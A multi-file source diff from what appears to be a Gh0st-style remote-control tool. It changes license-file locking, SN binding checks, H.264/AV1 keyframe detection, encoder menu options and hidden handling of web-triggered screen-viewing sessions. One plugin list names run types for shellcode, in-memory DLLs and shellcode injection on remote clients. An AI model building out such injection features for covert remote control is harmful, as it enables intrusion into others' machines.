std::string iniPath = GetLicensesPath();
|
||||||
config cfg(iniPath);
|
config cfg(iniPath);
|
||||||
std::string status = cfg.GetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);
|
std::string status = cfg.GetStr(deviceID, "Status", LICENSE_STATUS_ACTIVE);
|
||||||
|
|||||||
@@ -2,10 +2,23 @@
|
|||||||
|
|
||||||
#include <afx.h>
|
#include <afx.h>
|
||||||
#include <afxwin.h>
|
#include <afxwin.h>
|
||||||
|
#include <mutex>
|
||||||
#include "Resource.h"
|
#include "Resource.h"
|
||||||
#include "common/commands.h"
|
#include "common/commands.h"
|
||||||
#include "LangManager.h"
|
#include "LangManager.h"
|
||||||
|
|
||||||
|
// 全局 licenses.ini 互斥锁(Meyers singleton,跨翻译单元共享)。
|
||||||
|
// 所有读写 licenses.ini 的函数入口必须加锁,否则在心跳并发下会出现
|
||||||
|
// read-modify-write 丢更新(典型受害者:PendingQuota / IP 列表)。
|
||||||
|
// 使用 recursive_mutex 是因为部分函数会嵌套调用(如 DecrementPendingQuota → ClearPendingRenewal)。
|
||||||
|
std::recursive_mutex& LicensesIniMutex();
|
||||||
|
|
||||||
|
// 让 UpdateLicenseActivity 内部缓存里某个 SN 的 entry 失效。
|
||||||
|
// 必须在外部修改了授权(删除 / 重新创建 section)后调用,否则 cache 命中策略
|
||||||
|
// 会跳过本应触发的"既往授权自动加入"路径,导致 disk 上的 section 不会重建。
|
||||||
|
// 实现在 CPasswordDlg.cpp,需持 LicensesIniMutex(内部会自行加锁,可在已加锁线程嵌套调用)。
|
||||||
|
void InvalidateLicenseActivityCache(const std::string& deviceID);
|
||||||
|
|
||||||
// CPasswordDlg 对话框
|
// CPasswordDlg 对话框
|
||||||
namespace TcpClient {
|
namespace TcpClient {
|
||||||
std::string ObfuscateAuthorization(const std::string& auth);
|
std::string ObfuscateAuthorization(const std::string& auth);
|
||||||
|
|||||||
@@ -100,15 +100,17 @@ SNMatchResult ValidateLicenseSN(const std::string& licenseSN) {
|
|||||||
}
|
}
|
||||||
return SNMatchResult::IPMismatch;
|
return SNMatchResult::IPMismatch;
|
||||||
} else {
|
} else {
|
||||||
// Hardware binding: check if matches current device ID
|
// 哈希 SN:源头由本机 BindType 决定(硬件 ID 或 master/公网 IP)。
|
||||||
// Use GetHardwareID() to respect HWIDVersion (V1 or V2)
|
// 接收机在生成 SN 时已配置好 BindType,这里直接读 settings 即可,
|
||||||
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID(0);
|
// 不能硬编码 0,否则 IP 绑定的授权会被误判为硬件不匹配。
|
||||||
|
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID();
|
||||||
std::string hashedID = hashSHA256(hardwareID);
|
std::string hashedID = hashSHA256(hardwareID);
|
||||||
std::string currentDeviceID = getFixedLengthID(hashedID);
|
std::string currentDeviceID = getFixedLengthID(hashedID);
|
||||||
if (licenseSN == currentDeviceID) {
|
if (licenseSN == currentDeviceID) {
|
||||||
return SNMatchResult::Match;
|
return SNMatchResult::Match;
|
||||||
}
|
}
|
||||||
return SNMatchResult::HardwareMismatch;
|
int bindType = THIS_CFG.GetInt("settings", "BindType", 0);
|
||||||
|
return (bindType == 1) ? SNMatchResult::IPMismatch : SNMatchResult::HardwareMismatch;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -108,7 +108,7 @@ void CPluginSettingsDlg::LoadPluginsToList()
|
|||||||
{
|
{
|
||||||
m_listPlugins.DeleteAllItems();
|
m_listPlugins.DeleteAllItems();
|
||||||
|
|
||||||
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
|
const char* runTypeNames[] = { "Shellcode", "内存DLL", "Inject SC"};
|
||||||
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
|
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
|
||||||
|
|
||||||
int index = 0;
|
int index = 0;
|
||||||
|
|||||||
@@ -43,6 +43,66 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
|||||||
|
|
||||||
#define TIMER_ID 132
|
#define TIMER_ID 132
|
||||||
|
|
||||||
|
// H.264 Annex B keyframe 探测:扫描 start code (00 00 01 / 00 00 00 01),
|
||||||
|
// 取后续 NAL header low 5 bits,命中 5 (IDR) / 7 (SPS) / 8 (PPS) 即认定为关键帧。
|
||||||
|
static bool IsH264Keyframe(const uint8_t* data, size_t len)
|
||||||
|
{
|
||||||
|
for (size_t i = 0; i + 4 < len; ++i) {
|
||||||
|
size_t nalOffset = 0;
|
||||||
|
if (data[i] == 0 && data[i+1] == 0 && data[i+2] == 0 && data[i+3] == 1) {
|
||||||
|
nalOffset = i + 4;
|
||||||
|
} else if (data[i] == 0 && data[i+1] == 0 && data[i+2] == 1) {
|
||||||
|
nalOffset = i + 3;
|
||||||
|
} else {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (nalOffset >= len) continue;
|
||||||
|
uint8_t nalType = data[nalOffset] & 0x1F;
|
||||||
|
if (nalType == 5 || nalType == 7 || nalType == 8) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// AV1 OBU keyframe 探测:扫描 OBU 链,遇到 OBU_SEQUENCE_HEADER (type 1) 即认定为关键帧。
|
||||||
|
// FFmpeg AV1 编码器在每个 IDR 前必定插入 SEQ HDR,因此该判定与 H.264 NAL 5/7/8 语义对齐。
|
||||||
|
static bool IsAv1Keyframe(const uint8_t* data, size_t len)
|
||||||
|
{
|
||||||
|
size_t pos = 0;
|
||||||
|
while (pos < len) {
|
||||||
|
uint8_t hdr = data[pos];
|
||||||
|
uint8_t obu_type = (hdr >> 3) & 0x0F;
|
||||||
|
bool has_ext = (hdr & 0x04) != 0;
|
||||||
|
bool has_size = (hdr & 0x02) != 0;
|
||||||
|
if (obu_type == 1 /*OBU_SEQUENCE_HEADER*/) return true;
|
||||||
|
pos++;
|
||||||
|
if (has_ext) {
|
||||||
|
if (pos >= len) return false;
|
||||||
|
pos++;
|
||||||
|
}
|
||||||
|
if (!has_size) return false; // 无 size 字段:OBU 占满到包尾,无法继续解析
|
||||||
|
// LEB128 size
|
||||||
|
uint64_t sz = 0;
|
||||||
|
for (int i = 0; i < 8; ++i) {
|
||||||
|
if (pos >= len) return false;
|
||||||
|
uint8_t b = data[pos++];
|
||||||
|
sz |= (uint64_t)(b & 0x7F) << (7 * i);
|
||||||
|
if ((b & 0x80) == 0) break;
|
||||||
|
}
|
||||||
|
if (pos + sz > len) return false;
|
||||||
|
pos += (size_t)sz;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 首字节嗅探:H.264 Annex B 首字节恒为 0x00(起始码);AV1 OBU header 首字节
|
||||||
|
// bit7=0、bits[3:6]=obu_type 1-15,典型值 0x08-0x78,绝不为 0x00。
|
||||||
|
// 一字节即可干净区分两套码流,无需协议字段或编码端协商。
|
||||||
|
static bool IsAnyKeyframe(const uint8_t* data, size_t len)
|
||||||
|
{
|
||||||
|
if (len == 0) return false;
|
||||||
|
return data[0] == 0x00 ? IsH264Keyframe(data, len) : IsAv1Keyframe(data, len);
|
||||||
|
}
|
||||||
|
|
||||||
// 静态成员变量定义
|
// 静态成员变量定义
|
||||||
int CScreenSpyDlg::s_nFastStretch = -1; // -1 表示未初始化
|
int CScreenSpyDlg::s_nFastStretch = -1; // -1 表示未初始化
|
||||||
|
|
||||||
@@ -567,6 +627,26 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
__super::OnInitDialog();
|
__super::OnInitDialog();
|
||||||
SetIcon(m_hIcon,FALSE);
|
SetIcon(m_hIcon,FALSE);
|
||||||
|
|
||||||
|
// Determine session type FIRST so the window-show machinery below
|
||||||
|
// (SetWindowPlacement with showCmd=SW_MAXIMIZE, EnterFullScreen) can be
|
||||||
|
// skipped for hidden web sessions. Without this, the dialog briefly
|
||||||
|
// flashes on-screen — the hide used to happen ~200 lines later, after
|
||||||
|
// a chain of init work that the user could see in the meantime.
|
||||||
|
bool isMfcSession = WebService().IsMfcTriggered(m_ClientID);
|
||||||
|
if (isMfcSession) {
|
||||||
|
// MFC-triggered: clear the flag, don't register with WebService.
|
||||||
|
WebService().ClearMfcTriggered(m_ClientID);
|
||||||
|
// m_bIsWebSession remains false (default)
|
||||||
|
} else if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
|
||||||
|
// Web-triggered: register and hide upfront.
|
||||||
|
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
|
||||||
|
m_bHide = true;
|
||||||
|
m_bIsWebSession = true;
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
}
|
||||||
|
Mprintf("[ScreenSpy] Dialog created for device %llu, isMfcSession=%d, isWebSession=%d\n",
|
||||||
|
m_ClientID, isMfcSession ? 1 : 0, m_bIsWebSession.load() ? 1 : 0);
|
||||||
|
|
||||||
// 获取默认 IME 上下文(ImmAssociateContext 返回之前关联的上下文)
|
// 获取默认 IME 上下文(ImmAssociateContext 返回之前关联的上下文)
|
||||||
// 先禁用再恢复,以获取原始上下文句柄
|
// 先禁用再恢复,以获取原始上下文句柄
|
||||||
m_hOldIMC = ImmAssociateContext(m_hWnd, NULL);
|
m_hOldIMC = ImmAssociateContext(m_hWnd, NULL);
|
||||||
@@ -655,6 +735,12 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
// 音频菜单项
|
// 音频菜单项
|
||||||
SysMenu->AppendMenuL(MF_STRING, IDM_AUDIO_TOGGLE, "系统音频(&U)");
|
SysMenu->AppendMenuL(MF_STRING, IDM_AUDIO_TOGGLE, "系统音频(&U)");
|
||||||
SysMenu->CheckMenuItem(IDM_AUDIO_TOGGLE, m_Settings.AudioEnabled ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_AUDIO_TOGGLE, m_Settings.AudioEnabled ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_H264_HARD, "启用 H264 硬编码");
|
||||||
|
SysMenu->CheckMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->EnableMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_GRAYED : MF_ENABLED);
|
||||||
|
SysMenu->AppendMenuL(MF_STRING, IDM_ENABLE_AV1_HARD, "启用 AV1 硬编码");
|
||||||
|
SysMenu->CheckMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->EnableMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_GRAYED : MF_ENABLED);
|
||||||
|
|
||||||
// 初始化勾选状态
|
// 初始化勾选状态
|
||||||
UpdateQualityMenuCheck(SysMenu);
|
UpdateQualityMenuCheck(SysMenu);
|
||||||
@@ -730,11 +816,19 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
wp.rcNormalPosition.right = normalX + normalWidth;
|
wp.rcNormalPosition.right = normalX + normalWidth;
|
||||||
wp.rcNormalPosition.bottom = normalY + normalHeight;
|
wp.rcNormalPosition.bottom = normalY + normalHeight;
|
||||||
wp.showCmd = SW_MAXIMIZE;
|
wp.showCmd = SW_MAXIMIZE;
|
||||||
SetWindowPlacement(&wp);
|
|
||||||
|
|
||||||
// 同时初始化 m_struOldWndpl,供全屏退出时使用
|
// Skip the placement + fullscreen machinery for hidden web sessions —
|
||||||
|
// those calls would briefly flash the dialog on the user's desktop
|
||||||
|
// before the early ShowWindow(SW_HIDE) above takes effect at WM_PAINT
|
||||||
|
// time. m_struOldWndpl still gets a sane snapshot so any defensive
|
||||||
|
// LeaveFullScreen path later has something to restore against.
|
||||||
|
if (!m_bIsWebSession) {
|
||||||
|
SetWindowPlacement(&wp);
|
||||||
m_struOldWndpl = wp;
|
m_struOldWndpl = wp;
|
||||||
m_Settings.FullScreen ? EnterFullScreen() : LeaveFullScreen();
|
m_Settings.FullScreen ? EnterFullScreen() : LeaveFullScreen();
|
||||||
|
} else {
|
||||||
|
m_struOldWndpl = wp;
|
||||||
|
}
|
||||||
|
|
||||||
// 启动传输速率更新定时器 (1秒)
|
// 启动传输速率更新定时器 (1秒)
|
||||||
SetTimer(4, 1000, NULL);
|
SetTimer(4, 1000, NULL);
|
||||||
@@ -771,32 +865,9 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
if (pMain)
|
if (pMain)
|
||||||
::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0);
|
::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0);
|
||||||
|
|
||||||
// Determine session type: MFC or Web
|
// Session type detection and visibility moved to the top of this function
|
||||||
// Must check MfcTriggered FIRST - if MFC triggered this dialog, it's NOT a web session
|
// (right after __super::OnInitDialog) so SetWindowPlacement / EnterFullScreen
|
||||||
// even if WebTriggered is also true (happens when Web is already open for same device)
|
// above can be skipped for web sessions and avoid a visible flash.
|
||||||
bool isMfcSession = WebService().IsMfcTriggered(m_ClientID);
|
|
||||||
bool isWebSession = false;
|
|
||||||
if (isMfcSession) {
|
|
||||||
// MFC session: clear the flag, don't register with WebService
|
|
||||||
WebService().ClearMfcTriggered(m_ClientID);
|
|
||||||
// m_bIsWebSession remains false (default)
|
|
||||||
} else {
|
|
||||||
// Check if this is a Web session
|
|
||||||
isWebSession = WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions();
|
|
||||||
|
|
||||||
// Only register screen context for Web sessions
|
|
||||||
// MFC dialogs handle input directly via m_ContextObject, don't need WebService registry
|
|
||||||
// This prevents MFC close from deleting Web's context (they share same device_id key)
|
|
||||||
if (isWebSession) {
|
|
||||||
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
|
|
||||||
m_bHide = true;
|
|
||||||
m_bIsWebSession = true;
|
|
||||||
ShowWindow(SW_HIDE);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Mprintf("[ScreenSpy] Dialog created for device %llu, isMfcSession=%d, isWebSession=%d\n",
|
|
||||||
m_ClientID, isMfcSession ? 1 : 0, isWebSession ? 1 : 0);
|
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
@@ -1405,27 +1476,11 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
|||||||
bChange = TRUE;
|
bChange = TRUE;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// Broadcast H264 frame to web clients (only for Web session dialogs)
|
// Broadcast video frame to web clients (only for Web session dialogs)
|
||||||
// Format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N]
|
// Format: [DeviceID:4][FrameType:1][DataLen:4][VideoData:N]
|
||||||
|
// 浏览器侧按首字节嗅探区分 H.264 / AV1,因此 packet 内不需要 codec 字段。
|
||||||
if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
|
if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
|
||||||
// Detect H264 keyframe by checking NAL unit type
|
bool isKeyFrame = IsAnyKeyframe((const uint8_t*)NextScreenData, NextScreenLength);
|
||||||
// NAL type 5 = IDR slice (keyframe), NAL type 7 = SPS, NAL type 8 = PPS
|
|
||||||
bool isKeyFrame = false;
|
|
||||||
LPBYTE h264Data = (LPBYTE)NextScreenData;
|
|
||||||
for (ULONG i = 0; i + 4 < NextScreenLength; i++) {
|
|
||||||
// Look for start code: 0x00 0x00 0x00 0x01 or 0x00 0x00 0x01
|
|
||||||
if ((h264Data[i] == 0 && h264Data[i+1] == 0 && h264Data[i+2] == 0 && h264Data[i+3] == 1) ||
|
|
||||||
(h264Data[i] == 0 && h264Data[i+1] == 0 && h264Data[i+2] == 1)) {
|
|
||||||
int nalOffset = (h264Data[i+2] == 1) ? i + 3 : i + 4;
|
|
||||||
if (nalOffset < (int)NextScreenLength) {
|
|
||||||
int nalType = h264Data[nalOffset] & 0x1F;
|
|
||||||
if (nalType == 5 || nalType == 7 || nalType == 8) {
|
|
||||||
isKeyFrame = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
|
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
|
||||||
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
|
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
|
||||||
@@ -1861,11 +1916,13 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
switch (nID) {
|
switch (nID) {
|
||||||
case IDM_CONTROL: {
|
case IDM_CONTROL: {
|
||||||
m_bIsCtrl = !m_bIsCtrl;
|
m_bIsCtrl = !m_bIsCtrl;
|
||||||
|
m_bIsTraceCursor = !m_bIsCtrl;
|
||||||
// 进入控制模式时重置放大状态
|
// 进入控制模式时重置放大状态
|
||||||
if (m_bIsCtrl && m_bZoomedIn) {
|
if (m_bIsCtrl && m_bZoomedIn) {
|
||||||
ResetZoom();
|
ResetZoom();
|
||||||
}
|
}
|
||||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||||
// 控制模式:禁用本地 IME;查看模式:启用本地 IME
|
// 控制模式:禁用本地 IME;查看模式:启用本地 IME
|
||||||
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
|
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
|
||||||
@@ -1904,6 +1961,7 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
FCCHandler handler = nID == IDM_SAVEAVI ? ENCODER_MJPEG : ENCODER_H264;
|
FCCHandler handler = nID == IDM_SAVEAVI ? ENCODER_MJPEG : ENCODER_H264;
|
||||||
int code;
|
int code;
|
||||||
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) {
|
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) {
|
||||||
|
DeleteFile(m_aviFile); // 删除 AVIFileOpen 残留的 0 字节文件
|
||||||
MessageBoxL(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n" + _TR("错误代码: ") +
|
MessageBoxL(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n" + _TR("错误代码: ") +
|
||||||
CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION);
|
CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION);
|
||||||
m_aviFile = _T("");
|
m_aviFile = _T("");
|
||||||
@@ -2126,6 +2184,26 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case IDM_ENABLE_H264_HARD: {
|
||||||
|
m_Settings.EncodeLevel = m_Settings.EncodeLevel ? LEVEL_H264_SOFT : LEVEL_H264_HARD;
|
||||||
|
SysMenu->CheckMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->CheckMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->EnableMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_GRAYED : MF_ENABLED);
|
||||||
|
SysMenu->EnableMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_GRAYED : MF_ENABLED);
|
||||||
|
BYTE bToken[] = {COMMAND_ENCODE_LEVEL, m_Settings.EncodeLevel };
|
||||||
|
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IDM_ENABLE_AV1_HARD: {
|
||||||
|
m_Settings.EncodeLevel = m_Settings.EncodeLevel ? LEVEL_H264_SOFT : LEVEL_AV1_HARD;
|
||||||
|
SysMenu->CheckMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->CheckMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
SysMenu->EnableMenuItem(IDM_ENABLE_H264_HARD, m_Settings.EncodeLevel == LEVEL_AV1_HARD ? MF_GRAYED : MF_ENABLED);
|
||||||
|
SysMenu->EnableMenuItem(IDM_ENABLE_AV1_HARD, m_Settings.EncodeLevel == LEVEL_H264_HARD ? MF_GRAYED : MF_ENABLED);
|
||||||
|
BYTE bToken[] = { COMMAND_ENCODE_LEVEL, m_Settings.EncodeLevel };
|
||||||
|
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
__super::OnSysCommand(nID, lParam);
|
__super::OnSysCommand(nID, lParam);
|
||||||
@@ -2277,6 +2355,16 @@ void CScreenSpyDlg::EvaluateQuality()
|
|||||||
|
|
||||||
// 2. 计算目标等级
|
// 2. 计算目标等级
|
||||||
int targetLevel = GetTargetQualityLevel(rtt, m_bUsingFRP);
|
int targetLevel = GetTargetQualityLevel(rtt, m_bUsingFRP);
|
||||||
|
|
||||||
|
// Web 会话只解码 H264。levels 0 (Ultra/DIFF) 和 1 (High/RGB565) 在网络好的时候
|
||||||
|
// 会被自适应控制器选中,但 device 切到那两个算法后浏览器的 WebCodecs decoder
|
||||||
|
// 就吃不下了,画面冻在最后一个 H264 帧上 (用户感受是 ~1 分钟后卡死,
|
||||||
|
// 因为 EvaluateQuality 启动 1 分钟才开始评估)。Clamp 到最高质量的 H264 等级
|
||||||
|
// 让自适应在 H264 区间内继续工作.
|
||||||
|
if (m_bIsWebSession && targetLevel < QUALITY_GOOD) {
|
||||||
|
targetLevel = QUALITY_GOOD;
|
||||||
|
}
|
||||||
|
|
||||||
int currentLevel = m_AdaptiveQuality.currentLevel;
|
int currentLevel = m_AdaptiveQuality.currentLevel;
|
||||||
|
|
||||||
if (targetLevel == currentLevel) {
|
if (targetLevel == currentLevel) {
|
||||||
@@ -2322,6 +2410,14 @@ void CScreenSpyDlg::ApplyQualityLevel(int level, bool persist)
|
|||||||
{
|
{
|
||||||
if (level < 0 || level >= QUALITY_COUNT) return;
|
if (level < 0 || level >= QUALITY_COUNT) return;
|
||||||
|
|
||||||
|
// Defense in depth: ALL paths that set quality level (adaptive controller,
|
||||||
|
// manual menu pick, restore from config, …) flow through here. Web
|
||||||
|
// sessions cannot use non-H264 levels — see EvaluateQuality for the
|
||||||
|
// failure mode explanation.
|
||||||
|
if (m_bIsWebSession && level < QUALITY_GOOD) {
|
||||||
|
level = QUALITY_GOOD;
|
||||||
|
}
|
||||||
|
|
||||||
const QualityProfile& profile = GetQualityProfile(level);
|
const QualityProfile& profile = GetQualityProfile(level);
|
||||||
int oldMaxWidth = m_AdaptiveQuality.currentMaxWidth;
|
int oldMaxWidth = m_AdaptiveQuality.currentMaxWidth;
|
||||||
int newMaxWidth = profile.maxWidth;
|
int newMaxWidth = profile.maxWidth;
|
||||||
|
|||||||
@@ -8,28 +8,81 @@
|
|||||||
#include "ToolbarDlg.h"
|
#include "ToolbarDlg.h"
|
||||||
#include "2015RemoteDlg.h"
|
#include "2015RemoteDlg.h"
|
||||||
|
|
||||||
|
#include "common/config.h"
|
||||||
|
|
||||||
|
extern "C"
|
||||||
|
{
|
||||||
|
#include "libyuv\libyuv.h"
|
||||||
|
}
|
||||||
|
|
||||||
|
#if DISABLE_FFMPEG_FOR_TEST
|
||||||
|
|
||||||
|
#define AV_CODEC_ID_H264 27
|
||||||
|
#define AVERROR(e) (-(e))
|
||||||
|
|
||||||
|
// 伪装不涉及内部成员直接访问的上下文指针
|
||||||
|
typedef void AVCodecContext;
|
||||||
|
typedef void AVCodec;
|
||||||
|
|
||||||
|
// 伪装 AVPacket 结构体,补全被主程序访问的 data 和 size 成员
|
||||||
|
struct AVPacket {
|
||||||
|
unsigned char* data;
|
||||||
|
int size;
|
||||||
|
long long pts;
|
||||||
|
long long dts;
|
||||||
|
int flags;
|
||||||
|
};
|
||||||
|
|
||||||
|
// 伪装 AVFrame 结构体,补全被主程序访问的 data 和 linesize 成员
|
||||||
|
struct AVFrame {
|
||||||
|
unsigned char* data[8];
|
||||||
|
int linesize[8];
|
||||||
|
int width;
|
||||||
|
int height;
|
||||||
|
int format;
|
||||||
|
};
|
||||||
|
|
||||||
|
// 使用 extern "C" __inline 或者是 inline 关键字,直接就地实现函数体
|
||||||
|
extern "C" {
|
||||||
|
__inline void av_frame_unref(AVFrame* frame) {
|
||||||
|
if (frame) {
|
||||||
|
for (int i = 0; i < 8; i++) { frame->data[i] = nullptr; frame->linesize[i] = 0; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__inline AVCodec* avcodec_find_decoder(int id) { return nullptr; }
|
||||||
|
__inline void av_init_packet(AVPacket* pkt) { if (pkt) { pkt->data = nullptr; pkt->size = 0; } }
|
||||||
|
__inline AVCodecContext* avcodec_alloc_context3(const AVCodec* codec) { return nullptr; }
|
||||||
|
__inline void avcodec_free_context(AVCodecContext** avctx) { if (avctx) *avctx = nullptr; }
|
||||||
|
__inline int avcodec_open2(AVCodecContext* avctx, const AVCodec* codec, void** options) { return -1; }
|
||||||
|
__inline int avcodec_send_packet(AVCodecContext* avctx, const AVPacket* avpkt) { return -1; }
|
||||||
|
__inline int avcodec_receive_frame(AVCodecContext* avctx, AVFrame* frame) { return -1; }
|
||||||
|
__inline void avcodec_flush_buffers(AVCodecContext* avctx) { /* 空白实现 */ }
|
||||||
|
}
|
||||||
|
|
||||||
|
#else
|
||||||
extern "C"
|
extern "C"
|
||||||
{
|
{
|
||||||
#include "libavcodec\avcodec.h"
|
#include "libavcodec\avcodec.h"
|
||||||
#include "libavutil\avutil.h"
|
#include "libavutil\avutil.h"
|
||||||
#include "libyuv\libyuv.h"
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifndef _WIN64
|
#ifndef _WIN64
|
||||||
// https://github.com/Terodee/FFMpeg-windows-static-build/releases
|
// https://github.com/Terodee/FFMpeg-windows-static-build/releases
|
||||||
#pragma comment(lib,"ffmpeg/libavcodec.lib")
|
#pragma comment(lib,"ffmpeg/libavcodec.lib")
|
||||||
#pragma comment(lib,"ffmpeg/libavutil.lib")
|
#pragma comment(lib,"ffmpeg/libavutil.lib")
|
||||||
#pragma comment(lib,"ffmpeg/libswresample.lib")
|
#pragma comment(lib,"ffmpeg/libswresample.lib")
|
||||||
|
|
||||||
#pragma comment(lib,"libyuv/libyuv.lib")
|
|
||||||
#else
|
#else
|
||||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
|
||||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
|
||||||
// https://github.com/ShiftMediaProject/FFmpeg
|
// https://github.com/ShiftMediaProject/FFmpeg
|
||||||
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
|
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
|
||||||
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
|
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
|
||||||
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
|
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
|
||||||
#endif
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef _WIN64
|
||||||
|
#pragma comment(lib,"libyuv/libyuv.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||||
|
#endif
|
||||||
|
|
||||||
#pragma comment(lib, "Mfplat.lib")
|
#pragma comment(lib, "Mfplat.lib")
|
||||||
#pragma comment(lib, "Mfuuid.lib")
|
#pragma comment(lib, "Mfuuid.lib")
|
||||||
@@ -82,6 +135,8 @@ enum {
|
|||||||
IDM_RESTORE_CONSOLE, // RDP会话归位
|
IDM_RESTORE_CONSOLE, // RDP会话归位
|
||||||
IDM_RESET_VIRTUAL_DESKTOP, // 重置虚拟桌面
|
IDM_RESET_VIRTUAL_DESKTOP, // 重置虚拟桌面
|
||||||
IDM_AUDIO_TOGGLE, // 音频开关
|
IDM_AUDIO_TOGGLE, // 音频开关
|
||||||
|
